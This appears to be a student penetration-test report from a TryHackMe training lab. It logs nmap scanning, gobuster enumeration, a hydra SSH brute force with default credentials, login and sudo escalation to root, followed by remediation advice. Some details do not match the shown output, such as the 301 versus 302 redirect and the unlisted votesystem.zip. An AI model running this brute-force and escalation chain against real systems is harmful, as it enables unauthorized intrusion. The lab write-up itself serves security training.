

Red Team
Certified Penetration Tester

Project Report

princemvarghese2001@gmail.com



REDTEAM[®]
HACKER ACADEMY

Penetration Testing Report

Target IP: 10.10.22.91

Platform: [TryHackMe - rtpen101](#)

Test Date: 06 June 2025

Tester: Prince M Varghese

Scope: External pentest on Linux-based web application & SSH

Executive Summary

The machine at **10.10.22.91** was found to host multiple exposed services including SSH, HTTP, and MySQL. Directory brute-forcing and SSH password brute-forcing led to successful unauthorized access using default credentials. Privilege escalation was trivial due to password reuse, granting full root access.

Risk Level:  Critical

Impact: Full system compromise

❑ Test Methodology and Results

🔍 Step 1: Nmap Reconnaissance

Command:

`nmap -A -Pn 10.10.22.91`

Findings:

Port	Service	Version Details
22/tcp	SSH	OpenSSH 7.2p2 (Ubuntu)
80/tcp	HTTP	Apache 2.4.18 (Ubuntu)
3306/tcp	MySQL	MySQL 5.7.33

- HTTP Title: [Site Maintenance](#)
- MySQL has SSL with a long-lived cert
- OS fingerprint: Linux 4.15

```
(kali@kali)~$ nmap -A -Pn 10.10.22.91
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-06 13:45 EDT
Nmap scan report for 10.10.22.91
Host is up (0.18s latency).
Not shown: 997 closed tcp ports (reset)
PORT      STATE SERVICE
22/tcp    open  ssh      OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
|_ ssh-hostkey:
|   2048 b7c6e71e1e7b7ff9812812034109c3b81305316f (RSA)
|   256 ef53c11871686f2e1f502a25d17f1e2139120 (ECDSA)
|_   256 169e1cc2c32517f3f5c8194d8e7a7a781f0 (ED25519)
80/tcp    open  http     Apache httpd 2.4.18 ((Ubuntu))
|_ http-server-header: Apache/2.4.18 (Ubuntu)
|_ http-title: Site Maintenance
3306/tcp  open  mysql    MySQL 5.7.33-0ubuntu0.16.04.1
|_ mysql-info:
|   |
|   |_ Protocol: 10
|   |_ Version: 5.7.33-0ubuntu0.16.04.1
|   |_ Thread ID: 4
|   |_ Capabilities flags: 65535
|   |_ Some Capabilities: DontAllowDatabaseTableColumn, ODBCClient, Speaks41ProtocolOld, SupportsTransactions, FoundRows, SupportsCompression, IgnoreSigpipes, IgnoreSpaceBeforeParenthesis, Speaks41ProtocolNew, ConnectWithDatabase, LongCol
|   |_ umnFlag, LongPassword, InteractiveClient, SwitchToSSLAfterHandshake, SupportsLoadDataLocal, Support41Auth, SupportsMultipleStatements, SupportsMultipleResults, SupportsAuthPlugins
|   |_ Status: Autocommit
|   |_ Salt: \x13HSH\x13\x0E\x06kj\x15N2uS\x05\x7F\x04\x02
|   |_ Auth Plugin Name: mysql_native_password
|   |_ ssl-date: TLS randomness does not represent time
|   |_ ssl-cert: Subject: commonName=MySQL_Server.5.7.33_Auto_Generated_Server_Certificate
|   |_ Not valid before: 2023-02-21T05:07:09
|   |_ Not valid after: 2032-02-18T05:07:09
|   |_ Device type: general purpose
Running: Linux 4.x
OS CPE: cpe:/o:linux:linux_kernel:4.15
OS details: Linux 4.15
Network Distance: 5 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 554/tcp)
HOP RTT      ADDRESS
1  46.53 ms  10.17.0.1
2  ...  4
3  107.27 ms 10.10.22.91

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.85 seconds
```


📁 Step 2: Web Directory Enumeration

Command:

```
gobuster dir -u http://10.10.22.91 -w /usr/share/seclists/Discovery/Web-Content/big.txt -t 100 -x html,txt,php
```

Interesting Results:

- `/admin/` (302 redirect)
- `/db/`, `/phpmyadmin/`, `/home.php`, `/preview.php`, `/login.php` all returned 200
- Multiple `.htaccess` and `.htpasswd` entries blocked (403)
- `/index.php` served dynamic content

Implication: Web application might contain admin panel, login endpoint, and potentially exposed DB interface.

```
(kali@kali)-[~]
└─$ gobuster dir -u http://10.10.22.91 -w /usr/share/seclists/Discovery/Web-Content/big.txt -t 100 -x html,txt,php

Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

[+] Url: http://10.10.22.91
[+] Method: GET
[+] Threads: 100
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: html,txt,php
[+] Timeout: 10s

Starting gobuster in directory enumeration mode

./htaccess.html (Status: 403) [Size: 276]
./htpasswd.php (Status: 403) [Size: 276]
./htpasswd.html (Status: 403) [Size: 276]
./htpasswd.txt (Status: 403) [Size: 276]
./htaccess.php (Status: 403) [Size: 276]
./htaccess.txt (Status: 403) [Size: 276]
./htpasswd (Status: 403) [Size: 276]
./htaccess (Status: 403) [Size: 276]
/admin (Status: 301) [Size: 310] [→ http://10.10.22.91/admin/]
/db (Status: 301) [Size: 307] [→ http://10.10.22.91/db/]
/dist (Status: 301) [Size: 309] [→ http://10.10.22.91/dist/]
/home.php (Status: 200) [Size: 60]
/images (Status: 301) [Size: 311] [→ http://10.10.22.91/images/]
/includes (Status: 301) [Size: 313] [→ http://10.10.22.91/includes/]
/index.html (Status: 200) [Size: 698]
/index.php (Status: 200) [Size: 4388]
/javascript (Status: 301) [Size: 315] [→ http://10.10.22.91/javascript/]
/login.php (Status: 200) [Size: 60]
/logout.php (Status: 302) [Size: 0] [→ index.php]
/phpmyadmin (Status: 301) [Size: 315] [→ http://10.10.22.91/phpmyadmin/]
/plugins (Status: 301) [Size: 312] [→ http://10.10.22.91/plugins/]
/preview.php (Status: 200) [Size: 60]
/server-status (Status: 403) [Size: 276]
/tcpdf (Status: 301) [Size: 310] [→ http://10.10.22.91/tcpdf/]
Progress: 81916 / 81916 (100.00%)

Finished
```

🔑 Step 3: SSH Brute Force (Hydra)

Command:

```
hydra -C /usr/share/seclists/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt -s 22 -V -f 10.10.22.91 ssh
```

Result:

```
[22][ssh] host: 10.10.22.91 login: c-comatic password: xrtwk318
```

Implication: SSH login was successful using known/default credentials.

```
(kali@kali)~$ hydra -C /usr/share/seclists/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt -s 22 -V -f 10.10.22.91 ssh
Hydra v9.5 (C) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-06-06 15:25:01
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 135 login tries, ~9 tries per task
[DATA] attacking ssh://10.10.22.91:22/
[ATTEMPT] target 10.10.22.91 - login "root" - pass "password" - 1 of 135 [child 0] (0/0)
[ATTEMPT] target 10.10.22.91 - login "root" - pass "calvin" - 2 of 135 [child 1] (0/0)
[ATTEMPT] target 10.10.22.91 - login "root" - pass "root" - 3 of 135 [child 2] (0/0)
[ATTEMPT] target 10.10.22.91 - login "root" - pass "toor" - 4 of 135 [child 3] (0/0)
[ATTEMPT] target 10.10.22.91 - login "administrator" - pass "password" - 5 of 135 [child 4] (0/0)
[ATTEMPT] target 10.10.22.91 - login "Metlink" - pass "password" - 6 of 135 [child 5] (0/0)
[ATTEMPT] target 10.10.22.91 - login "administrator" - pass "Amx1234!" - 7 of 135 [child 6] (0/0)
[ATTEMPT] target 10.10.22.91 - login "amx" - pass "password" - 8 of 135 [child 7] (0/0)
[ATTEMPT] target 10.10.22.91 - login "amx" - pass "Amx1234!" - 9 of 135 [child 8] (0/0)
[ATTEMPT] target 10.10.22.91 - login "admin" - pass "1988" - 10 of 135 [child 9] (0/0)
[ATTEMPT] target 10.10.22.91 - login "admin" - pass "admin" - 11 of 135 [child 10] (0/0)
[ATTEMPT] target 10.10.22.91 - login "Administrator" - pass "Vision2" - 12 of 135 [child 11] (0/0)
[ATTEMPT] target 10.10.22.91 - login "cisco" - pass "cisco" - 13 of 135 [child 12] (0/0)
[ATTEMPT] target 10.10.22.91 - login "c-comatic" - pass "xrtwk318" - 14 of 135 [child 13] (0/0)
[ATTEMPT] target 10.10.22.91 - login "root" - pass "qwasyx21" - 15 of 135 [child 14] (0/0)
[ATTEMPT] target 10.10.22.91 - login "admin" - pass "insecure" - 16 of 135 [child 15] (0/0)
[22][ssh] host: 10.10.22.91 login: c-comatic password: xrtwk318
[STATUS] attack finished for 10.10.22.91 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-06-06 15:25:05
```

Step 4: SSH Access and Privilege Escalation

Command:

```
ssh c-comatic@10.10.22.91
```

- Access successful using discovered credentials.
- Home directories discovered: **c-comatic** and **luffy**
- Found a file: **votesystem.zip** under **/home/luffy/Downloads/**

```
(kali㉿kali)-[~]
$ ssh c-comatic@10.10.22.91
The authenticity of host '10.10.22.91 (10.10.22.91)' can't be established.
ED25519 key fingerprint is SHA256:pVKqLy5X5USoG3hL0g0xz7KN090EnnR32/hdc3i0pDc.
This host key is known by the following other names/addresses:
  ~/.ssh/known_hosts:1: [hashed name]
  ~/.ssh/known_hosts:2: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.22.91' (ED25519) to the list of known hosts.
c-comatic@10.10.22.91's password:
Welcome to Ubuntu 16.04.7 LTS (GNU/Linux 4.15.0-142-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage

Expanded Security Maintenance for Infrastructure is not enabled.
0 updates can be applied immediately.

Enable ESM Infra to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status

Last login: Wed Feb 22 15:52:43 2023 from 192.168.1.146
c-comatic@luffy-VirtualBox:~$
```

Privilege Escalation:

sudo -l

- User **c-comatic** can run **any** command as root ((ALL : ALL) ALL)
- Escalation via: **sudo su** → full root access obtained.

```
(kali@kali)-[~]
$ ssh c-comatic@10.10.22.91
The authenticity of host '10.10.22.91 (10.10.22.91)' can't be established.
ED25519 key fingerprint is SHA256:pVKqLy5X5USoG3hl0g0xz7KN090EnnR32/hdc3i0pDc.
This host key is known by the following other names/addresses:
  ~/.ssh/known_hosts:1: [hashed name]
  ~/.ssh/known_hosts:2: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.22.91' (ED25519) to the list of known hosts.
c-comatic@10.10.22.91's password:
Welcome to Ubuntu 16.04.7 LTS (GNU/Linux 4.15.0-142-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage

Expanded Security Maintenance for Infrastructure is not enabled.

0 updates can be applied immediately.

Enable ESM Infra to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status

Last login: Wed Feb 22 15:52:43 2023 from 192.168.1.146
c-comatic@luffy-VirtualBox:~$ ls
examples.desktop
c-comatic@luffy-VirtualBox:~$ cd ..
c-comatic@luffy-VirtualBox:/home$ ls
c-comatic  luffy
c-comatic@luffy-VirtualBox:/home$ cd luffy
c-comatic@luffy-VirtualBox:/home/luffy$ ls
asroot.c  Desktop  Documents  Downloads  examples.desktop  Music  Pictures  Public  SecLists  Templates  Videos
c-comatic@luffy-VirtualBox:/home/luffy$ sudo -l
[sudo] password for c-comatic:
Sorry, try again.
[sudo] password for c-comatic:
Matching Defaults entries for c-comatic on luffy-VirtualBox:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User c-comatic may run the following commands on luffy-VirtualBox:
(ALL : ALL) ALL
c-comatic@luffy-VirtualBox:/home/luffy$ sudo su
root@luffy-VirtualBox:/home/luffy# ls
asroot.c  Desktop  Documents  Downloads  examples.desktop  Music  Pictures  Public  SecLists  Templates  Videos
root@luffy-VirtualBox:/home/luffy#
```


Vulnerabilities Identified

#	Vulnerability	Description	Severity	Remediation
1	Default Credentials (SSH)	c-comatic:xrtwk318 found via brute force	Critical	Remove or change default passwords. Implement rate-limiting and fail2ban.
2	Weak Sudo Config	Full sudo access without password segregation	High	Apply the principle of least privilege. Limit sudo rights.
3	Directory Disclosure	Sensitive directories (e.g., /admin/, /db/) are exposed	Medium	Restrict access to sensitive paths via .htaccess or IP whitelisting.
4	phpMyAdmin Exposed	Management interface accessible at /phpmyadmin/	High	Block external access to DB interfaces or require VPN.
5	Potential Sensitive Files	Found votesystem.zip - unknown contents	Medium	Perform sensitive file analysis and apply least privilege on directories.

Evidence


1. Nmap Output

 Attached as: nmap_scan.txt

2. Gobuster Results

 Attached as: gobuster_results.txt

3. Hydra Brute Force Logs

 Attached as: hydra_output.txt

4. Screenshot (SSH Access)

 Included in final doc

Recommendations

- Enforce strong and unique passwords for all user accounts
- Restrict SSH login to known IPs or use key-based authentication
- Apply network segmentation and firewall rules to restrict port 3306 and phpMyAdmin
- Conduct regular audits of user privileges (`sudo -l`)
- Scan the [votesystem.zip](#) archive for sensitive content or vulnerabilities

Conclusion

The assessment revealed several serious security misconfigurations and the presence of weak/default credentials. The attacker was able to escalate privileges to root and access user directories without restrictions.

Immediate action is required to secure this system.